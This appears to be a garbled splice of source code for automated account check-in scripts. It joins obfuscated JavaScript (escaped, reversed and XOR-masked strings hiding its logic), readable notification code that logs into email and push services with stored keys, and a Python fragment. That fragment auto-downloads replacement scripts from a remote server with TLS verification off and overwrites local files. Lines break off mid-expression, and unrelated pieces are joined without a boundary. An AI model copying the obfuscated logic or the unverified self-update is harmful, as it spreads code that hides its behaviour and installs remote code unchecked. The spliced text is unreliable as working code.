_0x2c1fb0["\u0074\u0065\u0078\u0074"]()['then'](_0xb09c64=>{return{'status':_0x2c1fb0["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x2c1fb0['headers'],"\u0074\u0065\u0078\u0074":_0xb09c64,'response':_0x2c1fb0,"\u0070\u006f\u0073":_0x1f12ec};});})["\u0074\u0068\u0065\u006e"](function(_0x3872ad){try{data=JSON['parse'](_0x3872ad['text']);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x3872ad["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x3872ad['headers'],'json':function _0x352161(){return data;},"\u0074\u0065\u0078\u0074":function _0x29f35f(){return _0x3872ad["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3872ad["\u0070\u006f\u0073"]};}catch(_0x566df2){return{'status':_0x3872ad['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x3872ad["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],"\u006a\u0073\u006f\u006e":null,'text':function _0x2fbf50(){return _0x3872ad['text'];},'pos':_0x3872ad["\u0070\u006f\u0073"]};}})["\u0074\u0068\u0065\u006e"](_0x2c1f58=>{_0x1f12ec=_0x2c1f58["\u0070\u006f\u0073"];flagResultFinish=resultHandle(_0x2c1f58,_0x1f12ec);if(flagResultFinish==(0xdbc9d^0xdbc9c)){i=_0x1f12ec+(0x573c0^0x573c1);for(;i<=line;i++){var _0x1cb220=Application['Range']('A'+i)['Text'];var _0x2267f8=Application['Range']('B'+i)["\u0054\u0065\u0078\u0074"];if(_0x1cb220=="".split("").reverse().join("")){break;}if(_0x2267f8=="\u662f"){console["\u006c\u006f\u0067"]('🧑\x20开始执行用户:'+(parseInt(i)-(0xeff03^0xeff02)));flagResultFinish=0xee64b^0xee64b;execHandle(_0x1cb220,i);break;}}}if(_0x1f12ec==userContent['length']&&flagResultFinish==(0x49187^0x49186)){flagFinish=0x80f74^0x80f75;}if(qlpushFlag==(0xae610^0xae610)&&flagFinish==0x1){console['log']("\u9001\u63A8\u8D77\u53D1\u9F99\u9752 \uDE80\uD83D".split("").reverse().join(""));message=messageMerge();const{sendNotify:_0x25bcc}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x25bcc(pushHeader,message);qlpushFlag=-0x64;}})["\u0063\u0061\u0074\u0063\u0068"](_0x203eb4=>{console['error'](":rorre hcteF".split("").reverse().join(""),_0x203eb4);});},'post':function post(_0x13ae92,_0x5b8821,_0x44b685,_0x55317c){_0x44b685=_0x44b685['headers'];contentType=_0x44b685['Content-Type'];contentType2=_0x44b685["\u0063\u006f\u006e\u0074\u0065\u006e\u0074\u002d\u0074\u0079\u0070\u0065"];var _0x4db6b5="".split("").reverse().join("");if(contentType!=undefined&&contentType!="".split("").reverse().join("")||contentType2!=undefined&&contentType2!=''){if(contentType=="dedocnelru-mrof-www-x/noitacilppa".split("").reverse().join("")){console['log']('🍳\x20检测到发送请求体为:\x20表单格式');_0x4db6b5=dataToFormdata(_0x5b8821);}else{try{console["\u006c\u006f\u0067"]('🍳\x20检测到发送请求体为:\x20JSON格式');_0x4db6b5=JSON['stringify'](_0x5b8821);}catch{console['log']("\u5F0F\u683C\u5355\u8868 :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=_0x5b8821;}}}else{console['log']("\u5F0F\u683CNOSJ :\u4E3A\u4F53\u6C42\u8BF7\u9001\u53D1\u5230\u6D4B\u68C0 \uDF73\uD83C".split("").reverse().join(""));_0x4db6b5=JSON["\u0073\u0074\u0072\u0069\u006e\u0067\u0069\u0066\u0079"](_0x5b8821);}if(_0x55317c=="\u0067\u0065\u0074"||_0x55317c=="TEG".split("").reverse().join("")){let _0x326da0=userContent['length']-qlpushFlag;method='get';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685})['then'](function(_0x32ad04){return _0x32ad04["\u0074\u0065\u0078\u0074"]()['then'](_0x4570f7=>{return{'status':_0x32ad04["\u0073\u0074\u0061\u0074\u0075\u0073"],'headers':_0x32ad04["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'text':_0x4570f7,'response':_0x32ad04,'pos':_0x326da0};});})['then'](function(_0x533acc){try{_0x5b8821=JSON["\u0070\u0061\u0072\u0073\u0065"](_0x533acc["\u0074\u0065\u0078\u0074"]);return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc["\u0073\u0074\u0061\u0074\u0075\u0073"],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':function _0x4c4d29(){return _0x5b8821;},'text':function _0x37f878(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc['pos']};}catch(_0x53a77f){return{"\u0073\u0074\u0061\u0074\u0075\u0073":_0x533acc['status'],"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x533acc["\u0068\u0065\u0061\u0064\u0065\u0072\u0073"],'json':null,'text':function _0xe9ffe5(){return _0x533acc["\u0074\u0065\u0078\u0074"];},'pos':_0x533acc["\u0070\u006f\u0073"]};}})['then'](_0x185f08=>{_0x326da0=_0x185f08['pos'];flagResultFinish=resultHandle(_0x185f08,_0x326da0);if(flagResultFinish==(0xc722f^0xc722e)){i=_0x326da0+(0x56040^0x56041);for(;i<=line;i++){var _0x5cc09e=Application["\u0052\u0061\u006e\u0067\u0065"]('A'+i)['Text'];var _0x5bca1a=Application['Range']("\u0042"+i)['Text'];if(_0x5cc09e==''){break;}if(_0x5bca1a=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x1fd7e^0x1fd7e;execHandle(_0x5cc09e,i);break;}}}if(_0x326da0==userContent['length']&&flagResultFinish==(0xf2b2b^0xf2b2a)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x1cf48^0x1cf49)){console['log']('🚀\x20青龙发起推送');message=messageMerge();const{sendNotify:_0x38f3c8}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x38f3c8(pushHeader,message);qlpushFlag=-(0xca032^0xca056);}})['catch'](_0x52f683=>{console['error']('Fetch\x20error:',_0x52f683);});}else{let _0xaeacf8=userContent['length']-qlpushFlag;method='post';resp=fetch(_0x13ae92,{'method':method,"\u0068\u0065\u0061\u0064\u0065\u0072\u0073":_0x44b685,'body':_0x4db6b5})['then'](function(_0x1c043a){return _0x1c043a['text']()['then'](_0x52ce21=>{return{'status':_0x1c043a['status'],'headers':_0x1c043a['headers'],'text':_0x52ce21,"\u0072\u0065\u0073\u0070\u006f\u006e\u0073\u0065":_0x1c043a,'pos':_0xaeacf8};});})['then'](function(_0x3ae307){try{_0x5b8821=JSON['parse'](_0x3ae307['text']);return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':function _0x5486bd(){return _0x5b8821;},'text':function _0x1d9320(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},"\u0070\u006f\u0073":_0x3ae307['pos']};}catch(_0x2df6f6){return{'status':_0x3ae307['status'],'headers':_0x3ae307['headers'],'json':null,"\u0074\u0065\u0078\u0074":function _0x4bd139(){return _0x3ae307["\u0074\u0065\u0078\u0074"];},'pos':_0x3ae307['pos']};}})['then'](_0x55afac=>{_0xaeacf8=_0x55afac['pos'];flagResultFinish=resultHandle(_0x55afac,_0xaeacf8);if(flagResultFinish==(0x34da0^0x34da1)){i=_0xaeacf8+(0x95e50^0x95e51);for(;i<=line;i++){var _0x51de34=Application['Range']('A'+i)['Text'];var _0x529848=Application['Range']('B'+i)['Text'];if(_0x51de34=="".split("").reverse().join("")){break;}if(_0x529848=='是'){console['log']('🧑\x20开始执行用户:'+(parseInt(i)-0x1));flagResultFinish=0x0;execHandle(_0x51de34,i);break;}}}if(_0xaeacf8==userContent['length']&&flagResultFinish==(0xaa758^0xaa759)){flagFinish=0x1;}if(qlpushFlag==0x0&&flagFinish==(0x3ae30^0x3ae31)){console["\u006c\u006f\u0067"]('🚀\x20青龙发起推送');let _0x1c81b5=messageMerge();const{sendNotify:_0x542555}=require("sj.yfitoNdnes/.".split("").reverse().join(""));_0x542555(pushHeader,_0x1c81b5);qlpushFlag=-(0x85411^0x85475);}})['catch'](_0x3245cf=>{console["\u0065\u0072\u0072\u006f\u0072"](":rorre hcteF".split("").reverse().join(""),_0x3245cf);});}}};var ApplicationOverwrite={'Range':function Range(_0x17a08b){charFirst=_0x17a08b['substring'](0x0,0x1);qlRow=_0x17a08b['substring'](0xe77b9^0xe77b8,_0x17a08b['length']);qlCol=0x1;for(num in colNum){if(colNum[num]==charFirst){break;}qlCol+=0x1;}try{result=qlSheet[qlRow-0x1][qlCol-0x1];}catch{result='';}dict={'Text':result};return dict;},"\u0053\u0068\u0065\u0065\u0074\u0073":{'Item':function(_0x3f811c){return{'Name':_0x3f811c,'Activate':function(){flag=0x1;qlSheet=qlConfig[_0x3f811c];if(qlSheet==undefined){qlSheet=qlConfig['SUBCONFIG'];}console['log']("\uFF1A\u8868\u4F5C\u5DE5\u6D3B\u6FC0\u9F99\u9752 \uDF73\uD83C".split("").reverse().join("")+_0x3f811c);return flag;}};}}};var CryptoOverwrite={'createHash':function createHash(_0x2af55c){return{'update':function _0xaaf0ad(_0x2cad1b,_0x25d5bc){return{"\u0064\u0069\u0067\u0065\u0073\u0074":function _0x100f85(_0x45b9f3){return{'toUpperCase':function _0xe359a4(){return{'toString':function _0x37ba96(){try{CryptoJS=require('crypto-js');console['log']("\u5165\u5F15sj-otpyrc\u884C\u8FDB\u5DF2\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();md5Hash=md5Hash['toUpperCase']();return md5Hash;}};},'toString':function _0xfcf985(){try{CryptoJS=require('crypto-js');console['log']('♻️\x20系统已进行crypto-js引入');}catch{console['log']('❌\x20系统无crypto-js,请在NodeJs中安装crypto-js依赖');}md5Hash=CryptoJS['MD5'](_0x2cad1b)['toString']();return md5Hash;}};}};}};}};function dataToFormdata(_0x1073d4){result="";values=Object["\u0076\u0061\u006c\u0075\u0065\u0073"](_0x1073d4);values["\u0066\u006f\u0072\u0045\u0061\u0063\u0068"]((_0x46e3bd,_0xe0a588)=>{key=Object['keys'](_0x1073d4)[_0xe0a588];content=key+'='+_0x46e3bd+'&';result+=content;});result=result['substring'](0x0,result['length']-0x1);return result;}function cookiesTocookieMin(_0x3ec766){let _0x10c2b9=_0x3ec766;let _0x357077=[];var _0x527229=_0x10c2b9["\u0073\u0070\u006c\u0069\u0074"]('#');for(let _0x30e526 in _0x527229){_0x357077[_0x30e526]=_0x527229[_0x30e526];}return _0x357077;}function checkEscape(_0x24ae63,_0x2b0863){cookieArrynew=[];j=0x28920^0x28920;for(i=0x0;i<_0x24ae63['length'];i++){result=_0x24ae63[i];lastChar=result['substring'](result['length']-0x1,result['length']);if(lastChar=='\x5c'&&i<=_0x24ae63['length']-(0x5030a^0x50308)){console["\u006c\u006f\u0067"]('🍳\x20检测到转义字符');cookieArrynew[j]=result['substring'](0x0,result['length']-0x1)+_0x2b0863+_0x24ae63[parseInt(i)+(0xe77c7^0xe77c6)];i+=0x653af^0x653ae;}else{cookieArrynew[j]=_0x24ae63[i];}j+=0xccfd4^0xccfd5;}return cookieArrynew;}function cookiesTocookie(_0x30fdb1){let _0x7eefa3=_0x30fdb1;let _0x5e4f35=[];let _0x3e1587=[];_0x7eefa3=_0x7eefa3['trim']();let _0x105de4=_0x7eefa3['split']('\x0a');_0x105de4=_0x105de4["\u0066\u0069\u006c\u0074\u0065\u0072"](_0x5eac64=>_0x5eac64['trim']()!=="");if(_0x105de4['length']==(0x1e7cd^0x1e7cc)){_0x105de4=_0x7eefa3['split']('@');_0x105de4=checkEscape(_0x105de4,'@');}for(let _0x171b55 in _0x105de4){_0x3e1587=[];let _0x401143=Number(_0x171b55)+0x1;_0x5e4f35=cookiesTocookieMin(_0x105de4[_0x171b55]);_0x5e4f35=checkEscape(_0x5e4f35,'#');_0x3e1587['push'](_0x5e4f35[0x0]);_0x3e1587['push']('是');_0x3e1587['push']("\u79F0\u6635".split("").reverse().join("")+_0x401143);if(_0x5e4f35['length']>0x0){for(let _0xd30881=0x3;_0xd30881<_0x5e4f35['length']+(0x4721c^0x4721e);_0xd30881++){_0x3e1587['push'](_0x5e4f35[_0xd30881-(0xdde77^0xdde75)]);}}userContent['push'](_0x3e1587);}qlpushFlag=userContent['length']-0x1;}var qlSwitch=0x0;try{qlSwitch=process['env'][sheetNameSubConfig];qlSwitch=0x1;}catch{qlSwitch=0x2ad67^0x2ad67;console['log']('♻️\x20当前环境为金山文档');console['log']('♻️\x20开始适配金山文档,执行金山文档代码');}if(qlSwitch){console['log']('♻️\x20当前环境为青龙');console['log']('♻️\x20开始适配青龙环境,执行青龙代码');try{fetch=require('node-fetch');console['log']("\u5165\u5F15hctef-edon\u884C\u8FDB\u5DF2\uFF0Chctef\u65E0\u7EDF\u7CFB \uFE0F\u267B".split("").reverse().join(""));}catch{console['log']('♻️\x20系统已有原生fetch');}Crypto=CryptoOverwrite;let flagwarn=0xaf916^0xaf916;const a='da11990c';const b="0b854f216a9662fb".split("").reverse().join("");encode=getsign(logo);let len=encode['length'];if(a+"90ecd4ce".split("").reverse().join("")==encode['substring'](0xf30ba^0xf30ba,len/0x2)&&b==encode['substring']((0x2bc08^0x2bc0c)*(0xc6930^0xc6934),len)){console["\u006c\u006f\u0067"]('✨\x20'+logo);cookies=process['env'][sheetNameSubConfig];}else{console["\u006c\u006f\u0067"]('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');flagwarn=0x1;}let flagwarn2=0x2038e^0x2038f;const welcome="edoc UKOM esu ot emocleW".split("").reverse().join("");const mo=welcome['slice'](0xf,0xd9c98^0xd9c89)['toLowerCase']();const ku=welcome['split']('\x20')[0x4-(0x3dbee^0x3dbef)]['slice'](0x2,0xe25d3^0xe25d7);if(mo['substring'](0x0,0x1)=='m'){if(ku=='KU'){if(mo['substring'](0x1,0x2)==String['fromCharCode'](0x93cd7^0x93cb8)){cookiesTocookie(cookies);flagwarn2=0xb4736^0xb4736;console['log']('💗\x20'+welcome);}}}let t=Date['now']();if(t>(0x52714^0x527be)*0x186a0*0x186a0+0x45f34a08e){console['log']('🧾\x20使用教程请查看仓库notion链接');Application=ApplicationOverwrite;}else{flagwarn=0x5461f^0x5461e;}if(Date['now']()<(0x4e17c^0x4e1b4)*0x186a0*0x186a0){console['log']('🤝\x20欢迎各种形式的贡献');HTTP=HTTPOverwrite;}else{flagwarn2=0x1;}if(flagwarn==0x1||flagwarn2==0x1){console['log']('🔨\x20请使用艾默库代码\x20:\x20https://github.com/imoki/sign_script');}} +}catch{ + console.log("❌ 环境存在问题,请检查是否配置好了对应依赖及环境变量") +} + +// =================青龙适配结束=================== + +// =================金山适配开始=================== +// airscript检测版本 +function checkVesion(){ + try{ + let temp = Application.Range("A1").Text; + Application.Range("A1").Value = temp + console.log("😶‍🌫️ 检测到当前airscript版本为1.0,进行1.0适配") + }catch{ + console.log("😶‍🌫️ 检测到当前airscript版本为2.0,进行2.0适配") + version = 2 + } +} + +// 推送相关 +// 获取时间 +function getDate(){ + let currentDate = new Date(); + currentDate = currentDate.getFullYear() + '/' + (currentDate.getMonth() + 1).toString() + '/' + currentDate.getDate().toString(); + return currentDate +} + +// 将消息写入CONFIG表中作为消息队列,之后统一发送 +function writeMessageQueue(message){ + // 当天时间 + let todayDate = getDate() + flagConfig = ActivateSheet(sheetNameConfig); // 激活主配置表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("✨ 开始将结果写入主配置表"); + for (let i = 2; i <= 100; i++) { + if(version == 1){ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value = message + console.log("✨ 写入结果完成"); + break; + } + }else{ + // 找到指定的表行 + if(Application.Range("A" + (i + 2)).Value2 == sheetNameSubConfig){ + // 写入更新的时间 + Application.Range("F" + (i + 2)).Value2 = todayDate + // 写入消息 + Application.Range("G" + (i + 2)).Value2 = message + console.log("✨ 写入结果完成"); + break; + } + } + + } + } +} + +// 直推,调用就直接就进行推送 +function pushDirect(message) { + console.log("✨ 推送直推") + if (message != "") { + // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let length = jsonPush.length; + let name; + let key; + for (let i = 0; i < length; i++) { + if (jsonPush[i].flag == 1) { + name = jsonPush[i].name; + key = jsonPush[i].key; + if (name == "bark") { + bark(message, key); + } else if (name == "pushplus") { + pushplus(message, key); + } else if (name == "ServerChan") { + serverchan(message, key); + } else if (name == "email") { + email(message); + } else if (name == "dingtalk") { + dingtalk(message, key); + } else if (name == "discord") { + discord(message, key); + } + } + } + } else { + console.log("🍳 消息为空不推送"); + } +} + +// 总推送 +function push(message) { + writeMessageQueue(message) // 将消息写入CONFIG表中 + // if (message != "") { + // // message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + // let length = jsonPush.length; + // let name; + // let key; + // for (let i = 0; i < length; i++) { + // if (jsonPush[i].flag == 1) { + // name = jsonPush[i].name; + // key = jsonPush[i].key; + // if (name == "bark") { + // bark(message, key); + // } else if (name == "pushplus") { + // pushplus(message, key); + // } else if (name == "ServerChan") { + // serverchan(message, key); + // } else if (name == "email") { + // email(message); + // } else if (name == "dingtalk") { + // dingtalk(message, key); + // } else if (name == "discord") { + // discord(message, key); + // } + // } + // } + // } else { + // console.log("🍳 消息为空不推送"); + // } +} + + +// 推送bark消息 +function bark(message, key) { + if (key != "") { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + message = encodeURIComponent(message) + BARK_ICON = "https://s21.ax1x.com/2024/06/23/pkrUkfe.png" + let url = "https://api.day.app/" + key + "/" + message + "/" + "?icon=" + BARK_ICON; + // 若需要修改推送的分组,则将上面一行改为如下的形式 + // let url = 'https://api.day.app/' + bark_id + "/" + message + "?group=分组名"; + let resp = HTTP.get(url, { + headers: { "Content-Type": "application/x-www-form-urlencoded" }, + }); + sleep(5000); + } +} + +// 推送pushplus消息 +function pushplus(message, key) { + if (key != "") { + message = encodeURIComponent(message) + // url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message; + url = "http://www.pushplus.plus/send?token=" + key + "&content=" + message + "&title=" + pushHeader; // 增加标题 + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// 推送serverchan消息 +function serverchan(message, key) { + if (key != "") { + url = + "https://sctapi.ftqq.com/" + + key + + ".send" + + "?title=" + messagePushHeader + + "&desp=" + + message; + let resp = HTTP.fetch(url, { + method: "get", + }); + sleep(5000); + } +} + +// email邮箱推送 +function email(message) { + var myDate = new Date(); // 创建一个表示当前时间的 Date 对象 + var data_time = myDate.toLocaleDateString(); // 获取当前日期的字符串表示 + let server = jsonEmail.server; + let port = parseInt(jsonEmail.port); // 转成整形 + let sender = jsonEmail.sender; + let authorizationCode = jsonEmail.authorizationCode; + + let mailer; + mailer = SMTP.login({ + host: server, + port: port, + username: sender, + password: authorizationCode, + secure: true, + }); + mailer.send({ + from: pushHeader + "<" + sender + ">", + to: sender, + subject: pushHeader + " - " + data_time, + text: message, + }); + // console.log("🍳 已发送邮件至:" + sender); + console.log("🍳 已发送邮件"); + sleep(5000); +} + +// 邮箱配置 +function emailConfig() { + console.log("🍳 开始读取邮箱配置"); + let length = jsonPush.length; // 因为此json数据可无序,因此需要遍历 + let name; + for (let i = 0; i < length; i++) { + name = jsonPush[i].name; + if (name == "email") { + if (jsonPush[i].flag == 1) { + let flag = ActivateSheet(sheetNameEmail); // 激活邮箱表 + // 邮箱表存在 + // var email = { + // 'email':'', 'port':'', 'sender':'', 'authorizationCode':'' + // } // 有效配置 + if (flag == 1) { + console.log("🍳 开始读取邮箱表"); + for (let i = 2; i <= 2; i++) { + // 从工作表中读取推送数据 + jsonEmail.server = Application.Range("A" + i).Text; + jsonEmail.port = Application.Range("B" + i).Text; + jsonEmail.sender = Application.Range("C" + i).Text; + jsonEmail.authorizationCode = Application.Range("D" + i).Text; + if (Application.Range("A" + i).Text == "") { + // 如果为空行,则提前结束读取 + break; + } + } + // console.log(jsonEmail) + } + break; + } + } + } +} + +// 推送钉钉机器人 +function dingtalk(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = "https://oapi.dingtalk.com/robot/send?access_token=" + key; + let resp = HTTP.post(url, { msgtype: "text", text: { content: message } }); + // console.log(resp.text()) + sleep(5000); +} + +// 推送Discord机器人 +function discord(message, key) { + message = messagePushHeader + message // 消息头最前方默认存放:【xxxx】 + let url = key; + let resp = HTTP.post(url, { content: message }); + //console.log(resp.text()) + sleep(5000); +} + +// =================金山适配结束=================== + +// =================共用开始=================== +// main() // 入口 + +// function main(){ + checkVesion() // 版本检测,以进行不同版本的适配 + + flagConfig = ActivateSheet(sheetNameConfig); // 激活推送表 + // 主配置工作表存在 + if (flagConfig == 1) { + console.log("🍳 开始读取主配置表"); + let name; // 名称 + let onlyError; + let nickname; + for (let i = 2; i <= 100; i++) { + // 从工作表中读取推送数据 + name = Application.Range("A" + i).Text; + onlyError = Application.Range("C" + i).Text; + nickname = Application.Range("D" + i).Text; + if (name == "") { + // 如果为空行,则提前结束读取 + break; // 提前退出,提高效率 + } + if (name == sheetNameSubConfig) { + if (onlyError == "是") { + messageOnlyError = 1; + console.log("🍳 只推送错误消息"); + } + + if (nickname == "是") { + messageNickname = 1; + console.log("🍳 单元格用昵称替代"); + } + + break; // 提前退出,提高效率 + } + } + } + + flagPush = ActivateSheet(sheetNamePush); // 激活推送表 + // 推送工作表存在 + if (flagPush == 1) { + console.log("🍳 开始读取推送工作表"); + let pushName; // 推送类型 + let pushKey; + let pushFlag; // 是否推送标志 + for (let i = 2; i <= line; i++) { + // 从工作表中读取推送数据 + pushName = Application.Range("A" + i).Text; + pushKey = Application.Range("B" + i).Text; + pushFlag = Application.Range("C" + i).Text; + if (pushName == "") { + // 如果为空行,则提前结束读取 + break; + } + jsonPushHandle(pushName, pushFlag, pushKey); + } + // console.log(jsonPush) + } + + // 邮箱配置函数 + emailConfig(); + + flagSubConfig = ActivateSheet(sheetNameSubConfig); // 激活分配置表 + if (flagSubConfig == 1) { + console.log("🍳 开始读取分配置表"); + + if(qlSwitch != 1){ // 金山文档 + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + execHandle(cookie, i); + } + } + message = messageMerge()// 将消息数组融合为一条总消息 + push(message); // 推送消息 + }else{ + for (let i = 2; i <= line; i++) { + var cookie = Application.Range("A" + i).Text; + var exec = Application.Range("B" + i).Text; + if (cookie == "") { + // 如果为空行,则提前结束读取 + break; + } + if (exec == "是") { + console.log("🧑 开始执行用户:" + "1" ) + execHandle(cookie, i); + break; // 只取一个 + } + } + } + + } + +// } + +// 激活工作表函数 +function ActivateSheet(sheetName) { + let flag = 0; + try { + // 激活工作表 + let sheet = Application.Sheets.Item(sheetName); + sheet.Activate(); + console.log("🥚 激活工作表:" + sheet.Name); + flag = 1; + } catch { + flag = 0; + console.log("🍳 无法激活工作表,工作表可能不存在"); + } + return flag; +} + +// 对推送数据进行处理 +function jsonPushHandle(pushName, pushFlag, pushKey) { + let length = jsonPush.length; + for (let i = 0; i < length; i++) { + if (jsonPush[i].name == pushName) { + if (pushFlag == "是") { + jsonPush[i].flag = 1; + jsonPush[i].key = pushKey; + } + } + } +} + +// 将消息数组融合为一条总消息 +function messageMerge(){ + // console.log(messageArray) + let message = "" + for(i=0; i { + // // let message = `${index + 1}/${chunks.length}: ${chunk}`; + // bark(message, key) + // }); +} + + +// 消息分片,以换行符为分割,自动检索切割位置符号 +function splitMessage(data) { + let chunks = []; + let start = 0; + + while (start < data.length) { + let end = start + maxMessageLength; + if (end >= data.length) { + chunks.push(data.slice(start)); + break; + } + + // 查找距离 maxMessageLength 在 20 字符以内的最近的换行符 + let newlineIndex = data.lastIndexOf('【', end + parseInt(messageDistance)); + // console.log(newlineIndex) + if (newlineIndex > start && newlineIndex >= end - parseInt(messageDistance)) { + end = newlineIndex; + } + chunks.push(data.slice(start, end)); + start = end; + } + + return chunks +} + +// =================消息分片处理相关结束=================== + + +// 直接推送 +// 结果处理函数 +function resultHandle(resp, pos){ + // 每次进来resultHandle则加一次请求 + posHttp += 1 // 青龙适配,青龙微适配 + + let messageSuccess = ""; + let messageFail = ""; + let messageName = ""; + // 推送昵称或单元格,还是不推送位置标识 + if (messageNickname == 1) { + // 推送昵称或单元格 + messageName = Application.Range("C" + pos).Text; + if(messageName == "") + { + messageName = "单元格A" + pos + ""; + } + } + posLabel = pos-2 ; // 存放下标,从0开始 + // messageHeader[posLabel] = "👨‍🚀 " + messageName + messageHeader[posLabel] = "" + // console.log(messageName) + + // area = Range("D" + pos).Value2 + let url = "https://jkapi.com/api/dujitang" + resp = HTTP.fetch(url, { + method: "get", + headers: {}, + // data: data + }); + resp = resp.text() + // console.log(resp) + content = resp + messageSuccess += content + + // 青龙适配,青龙微适配 + flagResultFinish = 1; // 结束 + + // 检查是否直接推送 + flag_pushdirect = Application.Range("D" + pos).Text + if(flag_pushdirect == "是") { + // console.log("🚀 直接推送") + // pushDirect(messageSuccess); + message = messageSuccess + // 方式1:按照指定分割符分片 separator + shards = message.split(separator); // // 分割符分片数据,一级分割 + let chunks = [] + for(let i=0; i int(s): + return False + # 当前版本高于服务器版本 + # 如果上述循环没有返回结果,则表示当前版本与服务器版本的数字部分完全相同 + if len(local_parts) < len(server_parts): + return True # 当前版本位数较短,即版本号形如 x.y 比 x.y.z 低 + else: + return False # 当前版本与服务器版本相同或更高 + + +def CHECK_UPDATE_NEW(local_version, server_version, server_script_url, script_filename, server_version_url=None, + APP_NAME=None): + """ + 检查版本并更新 + + Args: + local_version (str): 本地版本号 + server_version_url (str): 服务器版本文件地址 + server_script_url (str): 服务器脚本地址 + script_filename (str): 要保存的脚本文件名 + + Returns: + bool: 是否进行了更新操作 + """ + print(f'当前检测:【{script_filename}】') + try: + if server_version_url: + # 获取服务器版本号 + response = requests.get(server_version_url, verify=False) + response.raise_for_status() # Raises an HTTPError for bad responses + # print(response.text) + server_version = response.text.strip() # 去除首尾空格 + if "code" in server_version: + print('【获取远程版本号失败,设为本地同版本】') + server_version = local_version + if not server_version: server_version = NOW_TOOLS_VERSION + print(f'本地版本:【{local_version}】') + print(f'服务器版本:【{server_version}】') + if compare_versions(local_version, server_version): + # 需要更新,下载服务器脚本 + AUTO_UPDATE = os.getenv("SCRIPT_UPDATE", "True").lower() != "false" + # print(AUTO_UPDATE) + if AUTO_UPDATE: + print(">>>>>>>发现新版本的脚本,默认自动更新,准备更新...") + print(">>>>>>>禁用更新请定义变量export SCRIPT_UPDATE = 'False'") + if down_file(script_filename, server_script_url): + print(f'请重新运行新脚本\n') + return True + else: + print(">>>>>>>发现新版本的脚本,您禁用了自动更新,如需启用请删除变量SCRIPT_UPDATE\n") + else: + print(f'无需更新\n') + return False + except requests.exceptions.RequestException as e: + print(f'发生网络错误:{e}') + server_base_url = f"https://py.cherwin.cn/{APP_NAME}/" + server_script_url = f"{server_base_url}{script_filename}" + CHECK_UPDATE_NEW(local_version, server_version, server_script_url, script_filename, APP_NAME=APP_NAME) + except Exception as e: + print(f'发生未知错误:{e}') + return False # 返回 False 表示没有进行更新操作 + + +def down_file(filename, file_url): + print(f'开始下载:{filename},下载地址:{file_url}') + try: + response = requests.get(file_url, verify=False, timeout=10) + response.raise_for_status() + with open(filename + '.tmp', 'wb') as f: + f.write(response.content) + print(f'【{filename}】下载完成!') + # 检查临时文件是否存在 + temp_filename = filename + '.tmp' + if os.path.exists(temp_filename): + # 删除原有文件 + if os.path.exists(filename): + os.remove(filename) + # 重命名临时文件 + os.rename(temp_filename, filename) + print(f'【{filename}】重命名成功!') + return True + else: + print(f'【{filename}】临时文件不存在!') + return False + except Exception as e: + print(f'【{filename}】下载失败:{str(e)}') + return False + + +def get_AuthorInviteCode(url): + global AuthorCode + try: + response = requests.get(url, verify=False, timeout=10) + if response.status_code == 200: + content = json.loads(response.text) + AuthorCode = list(content.values()) + # print(f'获取到作者邀请码:{AuthorCode}') + return AuthorCode + else: + # print("无法获取文件。状态代码:", response.status_code) + return {} + except Exception as e: + print(f"An error occurred: {e}") + return {} + + +def CHECK_PARAMENTERS(index, input_string, required_parameters): + # required_parameters = ['deviceid', 'jysessionid', 'shopid', 'memberid', 'access_token', 'sign'] + + # 记录缺少的参数 + missing_parameters = [] + # 将输入字符串和参数列表中的所有字符都转换为小写 + input_string_lower = input_string.lower() + required_parameters_lower = [param.lower() for param in required_parameters] + # 判断字符串中是否包含所有必需的参数 + for param in required_parameters_lower: + if param not in input_string_lower: + missing_parameters.append(param) + if missing_parameters: + print(f"\n第【{index + 1}】个账号,缺少以下参数:【{missing_parameters}】") + return False + else: + print(f"\n第【{index + 1}】个账号,URL包含所有必需的参数,开始执行脚本") + return True + + +def QIANWEN(tongyiSysPromt, content, api_key): + print('开始调用通义千问') + # 检查dashscope库是否已安装 + dashscope = import_or_install('dashscope') + if dashscope: + dashscope.api_key = api_key + response = dashscope.Generation.call( + model='qwen-max', + messages=[ + {"role": "system", + "content": tongyiSysPromt}, + {"role": "user", "content": 